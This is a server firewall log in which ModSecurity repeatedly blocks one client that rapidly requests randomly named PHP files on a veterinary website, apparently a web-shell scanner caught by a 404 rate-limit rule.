[Mon Apr 13 17:03:30.188775 2026] [:error] [pid 57183:tid 57203] [client 20.100.201.121:65174] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wwdgl.php"] [unique_id "adyxYjDO3t8R5NaxzYTNEQAAAVI"]
[Mon Apr 13 17:03:30.706027 2026] [:error] [pid 63311:tid 63385] [client 20.100.201.121:64636] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wwdgl.php"] [unique_id "adyxYqHjrGN1MqBCVFnOTgAAAI4"]
[Mon Apr 13 17:03:30.931012 2026] [:error] [pid 63309:tid 63322] [client 20.100.201.121:65150] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cilus.php"] [unique_id "adyxYkpIKZ10weXpf0UBSAAAAAk"]
[Mon Apr 13 17:03:31.250100 2026] [:error] [pid 57183:tid 57200] [client 20.100.201.121:65203] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wwdgl.php"] [unique_id "adyxYzDO3t8R5NaxzYTNFAAAAU8"]
[Mon Apr 13 17:03:31.609748 2026] [:error] [pid 57183:tid 57207] [client 20.100.201.121:64166] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cilus.php"] [unique_id "adyxYzDO3t8R5NaxzYTNFgAAAVY"]
[Mon Apr 13 17:03:31.853022 2026] [:error] [pid 57183:tid 57195] [client 20.100.201.121:65125] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wwdgl.php"] [unique_id "adyxYzDO3t8R5NaxzYTNFwAAAUo"]
[Mon Apr 13 17:03:32.021363 2026] [:error] [pid 57183:tid 57197] [client 20.100.201.121:64670] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cilus.php"] [unique_id "adyxZDDO3t8R5NaxzYTNGgAAAUw"]
[Mon Apr 13 17:03:32.455735 2026] [:error] [pid 63406:tid 63414] [client 20.100.201.121:64597] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/3akp.php"] [unique_id "adyxZLHZEIkQ0Zmgp5oUcwAAAMM"]
[Mon Apr 13 17:03:32.928321 2026] [:error] [pid 63406:tid 63426] [client 20.100.201.121:65088] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cilus.php"] [unique_id "adyxZLHZEIkQ0Zmgp5oUeQAAAM8"]
[Mon Apr 13 17:03:33.032602 2026] [:error] [pid 63406:tid 63425] [client 20.100.201.121:64165] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/3akp.php"] [unique_id "adyxZbHZEIkQ0Zmgp5oUfAAAAM4"]
[Mon Apr 13 17:03:33.316044 2026] [:error] [pid 63406:tid 63411] [client 20.100.201.121:65111] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cilus.php"] [unique_id "adyxZbHZEIkQ0Zmgp5oUfgAAAMA"]
[Mon Apr 13 17:03:33.588817 2026] [:error] [pid 63406:tid 63433] [client 20.100.201.121:64682] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/3akp.php"] [unique_id "adyxZbHZEIkQ0Zmgp5oUgQAAANY"]
[Mon Apr 13 17:03:33.902596 2026] [:error] [pid 57183:tid 57204] [client 20.100.201.121:64144] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cilus.php"] [unique_id "adyxZTDO3t8R5NaxzYTNIwAAAVM"]
[Mon Apr 13 17:03:34.149189 2026] [:error] [pid 63311:tid 63376] [client 20.100.201.121:65098] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/3akp.php"] [unique_id "adyxZqHjrGN1MqBCVFnOUQAAAIU"]
[Mon Apr 13 17:03:34.488507 2026] [:error] [pid 9314:tid 9328] [client 20.100.201.121:64578] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cilus.php"] [unique_id "adyxZm_r4W8fX2GWyGTEVgAAAYw"]
[Mon Apr 13 17:03:34.526338 2026] [:error] [pid 9314:tid 9319] [client 20.100.201.121:65191] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cilus.php"] [unique_id "adyxZm_r4W8fX2GWyGTEVwAAAYM"]
[Mon Apr 13 17:03:34.680166 2026] [:error] [pid 57183:tid 57208] [client 20.100.201.121:65209] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/HLA-dd.php"] [unique_id "adyxZjDO3t8R5NaxzYTNJgAAAVc"]
[Mon Apr 13 17:03:35.086535 2026] [:error] [pid 7228:tid 7252] [client 20.100.201.121:64660] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/oLEzRVqmJJPFSucdefault.php"] [unique_id "adyxZwEnn1dQrOSHHNVWagAAARY"]
[Mon Apr 13 17:03:35.102655 2026] [:error] [pid 57183:tid 57197] [client 20.100.201.121:64600] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/oLEzRVqmJJPFSucdefault.php"] [unique_id "adyxZzDO3t8R5NaxzYTNJwAAAUw"]
[Mon Apr 13 17:03:35.408188 2026] [:error] [pid 7228:tid 7244] [client 20.100.201.121:65141] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/HLA-dd.php"] [unique_id "adyxZwEnn1dQrOSHHNVWawAAAQ4"]
[Mon Apr 13 17:03:35.749303 2026] [:error] [pid 7228:tid 7235] [client 20.100.201.121:64637] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/oLEzRVqmJJPFSucdefault.php"] [unique_id "adyxZwEnn1dQrOSHHNVWbAAAAQU"]
[Mon Apr 13 17:03:35.962723 2026] [:error] [pid 63311:tid 63374] [client 20.100.201.121:63633] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/HLA-dd.php"] [unique_id "adyxZ6HjrGN1MqBCVFnOVAAAAIM"]
[Mon Apr 13 17:03:36.132652 2026] [:error] [pid 9314:tid 9339] [client 20.100.201.121:65132] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/oLEzRVqmJJPFSucdefault.php"] [unique_id "adyxaG_r4W8fX2GWyGTEXQAAAZc"]
[Mon Apr 13 17:03:36.569831 2026] [:error] [pid 9314:tid 9334] [client 20.100.201.121:64687] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/oLEzRVqmJJPFSucdefault.php"] [unique_id "adyxaG_r4W8fX2GWyGTEXgAAAZI"]
[Mon Apr 13 17:03:36.756555 2026] [:error] [pid 9314:tid 9322] [client 20.100.201.121:65155] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/HLA-dd.php"] [unique_id "adyxaG_r4W8fX2GWyGTEXwAAAYY"]
[Mon Apr 13 17:03:36.969472 2026] [:error] [pid 9314:tid 9336] [client 20.100.201.121:65207] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/oLEzRVqmJJPFSucdefault.php"] [unique_id "adyxaG_r4W8fX2GWyGTEYQAAAZQ"]
[Mon Apr 13 17:03:37.312272 2026] [:error] [pid 63406:tid 63432] [client 20.100.201.121:65185] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "adyxabHZEIkQ0Zmgp5oUlgAAANU"]
[Mon Apr 13 17:03:37.507474 2026] [:error] [pid 63311:tid 63395] [client 20.100.201.121:65144] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/oLEzRVqmJJPFSucdefault.php"] [unique_id "adyxaaHjrGN1MqBCVFnOVwAAAJg"]
[Mon Apr 13 17:03:37.806343 2026] [:error] [pid 9314:tid 9338] [client 20.100.201.121:65160] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/oLEzRVqmJJPFSucdefault.php"] [unique_id "adyxaW_r4W8fX2GWyGTEYgAAAZY"]
[Mon Apr 13 17:03:37.928438 2026] [:error] [pid 57183:tid 57190] [client 20.100.201.121:65153] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "adyxaTDO3t8R5NaxzYTNKQAAAUU"]
[Mon Apr 13 17:03:38.380361 2026] [:error] [pid 9314:tid 9328] [client 20.100.201.121:65129] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wwdgl.php"] [unique_id "adyxam_r4W8fX2GWyGTEYwAAAYw"]
[Mon Apr 13 17:03:38.487668 2026] [:error] [pid 9314:tid 9329] [client 20.100.201.121:63176] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "adyxam_r4W8fX2GWyGTEZQAAAY0"]
[Mon Apr 13 17:03:39.037782 2026] [:error] [pid 7228:tid 7245] [client 20.100.201.121:65213] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "adyxawEnn1dQrOSHHNVWdQAAAQ8"]
[Mon Apr 13 17:03:39.085123 2026] [:error] [pid 7228:tid 7232] [client 20.100.201.121:64665] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wwdgl.php"] [unique_id "adyxawEnn1dQrOSHHNVWdgAAAQI"]
[Mon Apr 13 17:03:39.481332 2026] [:error] [pid 9314:tid 9325] [client 20.100.201.121:65089] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wwdgl.php"] [unique_id "adyxa2_r4W8fX2GWyGTEagAAAYk"]
[Mon Apr 13 17:03:39.578842 2026] [:error] [pid 7228:tid 7236] [client 20.100.201.121:64623] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cdn3.php"] [unique_id "adyxawEnn1dQrOSHHNVWeAAAAQY"]
[Mon Apr 13 17:03:39.973277 2026] [:error] [pid 7228:tid 7252] [client 20.100.201.121:64611] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wwdgl.php"] [unique_id "adyxawEnn1dQrOSHHNVWfAAAARY"]
[Mon Apr 13 17:03:40.115011 2026] [:error] [pid 7228:tid 7244] [client 20.100.201.121:65143] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cdn3.php"] [unique_id "adyxbAEnn1dQrOSHHNVWfQAAAQ4"]
[Mon Apr 13 17:03:40.495022 2026] [:error] [pid 7228:tid 7246] [client 20.100.201.121:64585] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wwdgl.php"] [unique_id "adyxbAEnn1dQrOSHHNVWfwAAARA"]
[Mon Apr 13 17:03:40.551494 2026] [:error] [pid 63311:tid 63372] [client 20.100.201.121:64129] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wwdgl.php"] [unique_id "adyxbKHjrGN1MqBCVFnOXgAAAIE"]
[Mon Apr 13 17:03:40.744007 2026] [:error] [pid 7228:tid 7230] [client 20.100.201.121:64110] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cdn3.php"] [unique_id "adyxbAEnn1dQrOSHHNVWggAAAQA"]
[Mon Apr 13 17:03:41.292891 2026] [:error] [pid 9314:tid 9324] [client 20.100.201.121:65173] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cdn3.php"] [unique_id "adyxbW_r4W8fX2GWyGTEcAAAAYg"]
[Mon Apr 13 17:03:41.426868 2026] [:error] [pid 63311:tid 63374] [client 20.100.201.121:65205] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wwdgl.php"] [unique_id "adyxbaHjrGN1MqBCVFnOXwAAAIM"]
[Mon Apr 13 17:03:41.694278 2026] [:error] [pid 63311:tid 63388] [client 20.100.201.121:64066] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wwdgl.php"] [unique_id "adyxbaHjrGN1MqBCVFnOYAAAAJE"]
[Mon Apr 13 17:03:41.856736 2026] [:error] [pid 7228:tid 7234] [client 20.100.201.121:64643] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adyxbQEnn1dQrOSHHNVWhgAAAQQ"]
[Mon Apr 13 17:03:42.387923 2026] [:error] [pid 63311:tid 63393] [client 20.100.201.121:64625] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adyxbqHjrGN1MqBCVFnOYwAAAJY"]
[Mon Apr 13 17:03:42.688076 2026] [:error] [pid 63311:tid 63395] [client 20.100.201.121:65113] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/3akp.php"] [unique_id "adyxbqHjrGN1MqBCVFnOZAAAAJg"]
[Mon Apr 13 17:03:42.950396 2026] [:error] [pid 57183:tid 57185] [client 20.100.201.121:65186] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adyxbjDO3t8R5NaxzYTNMQAAAUA"]
[Mon Apr 13 17:03:43.080464 2026] [:error] [pid 57183:tid 57194] [client 20.100.201.121:65211] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/3akp.php"] [unique_id "adyxbzDO3t8R5NaxzYTNMgAAAUk"]
[Mon Apr 13 17:03:43.419941 2026] [:error] [pid 57183:tid 57198] [client 20.100.201.121:65122] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/3akp.php"] [unique_id "adyxbzDO3t8R5NaxzYTNNAAAAU0"]
[Mon Apr 13 17:03:43.472266 2026] [:error] [pid 57183:tid 57190] [client 20.100.201.121:65197] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adyxbzDO3t8R5NaxzYTNNQAAAUU"]
[Mon Apr 13 17:03:43.625724 2026] [:error] [pid 7228:tid 7239] [client 20.100.201.121:64136] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/3akp.php"] [unique_id "adyxbwEnn1dQrOSHHNVWkwAAAQk"]
[Mon Apr 13 17:03:44.011128 2026] [:error] [pid 57183:tid 57205] [client 20.100.201.121:64590] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/beerd.php"] [unique_id "adyxcDDO3t8R5NaxzYTNOAAAAVQ"]
[Mon Apr 13 17:03:44.100861 2026] [:error] [pid 63309:tid 63325] [client 20.100.201.121:65105] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/3akp.php"] [unique_id "adyxcEpIKZ10weXpf0UBTwAAAAw"]
[Mon Apr 13 17:03:44.528056 2026] [:error] [pid 63406:tid 63420] [client 20.100.201.121:64603] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/beerd.php"] [unique_id "adyxcLHZEIkQ0Zmgp5oUmwAAAMk"]
